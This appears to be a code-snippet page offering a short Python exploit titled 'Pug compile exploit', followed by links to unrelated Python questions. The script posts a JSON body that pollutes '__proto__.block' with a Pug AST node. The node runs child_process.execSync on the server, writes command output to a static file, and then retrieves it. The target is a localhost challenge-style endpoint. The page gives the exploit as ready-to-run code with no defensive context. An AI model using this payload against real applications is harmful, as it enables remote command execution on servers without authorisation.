Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

0 vote135 views1 answer
Python reference parent module
Python
1 vote146 views1 answer
How to convert img to gray python
Python
0 vote143 views1 answer
Pip vs conda
Python
36 votes142 views4 answers
Python print string in red color
Python
1 vote123 views1 answer
Why when I merge my label cluster with my dataframe i get more row
Python
0 vote138 views1 answer
Matplotlig adding progress bar
Python
7 votes125 views2 answers
Python duplicate file
Python
3 votes111 views1 answer
Time decorator python
Python
0 vote151 views1 answer
Apply same shuffle to two arrays numpy
Python
4 votes140 views1 answer
Format python limit to {:2f}
Python